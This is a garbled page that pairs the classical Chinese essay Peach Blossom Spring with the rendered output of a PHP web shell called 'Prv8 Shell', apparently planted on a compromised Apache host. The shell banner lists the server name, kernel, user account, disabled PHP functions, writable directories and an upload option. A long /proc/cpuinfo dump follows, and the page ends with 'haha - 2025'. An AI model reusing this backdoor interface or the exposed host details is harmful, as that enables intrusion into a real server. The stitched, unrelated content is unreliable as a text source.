晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 0
cpu cores	: 10
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 1
cpu cores	: 10
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 2
cpu cores	: 10
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 3
cpu cores	: 10
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 4
cpu cores	: 10
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 5
cpu cores	: 10
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 6
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 6
cpu cores	: 10
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 7
cpu cores	: 10
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 8
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 8
cpu cores	: 10
apicid		: 8
initial apicid	: 8
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 9
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz
stepping	: 1
microcode	: 0xb000041
cpu MHz		: 2297.338
cache size	: 16384 KB
physical id	: 0
siblings	: 10
core id		: 9
cpu cores	: 10
apicid		: 9
initial apicid	: 9
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat umip md_clear arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs taa mmio_stale_data bhi
bogomips	: 4594.67
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:


haha - 2025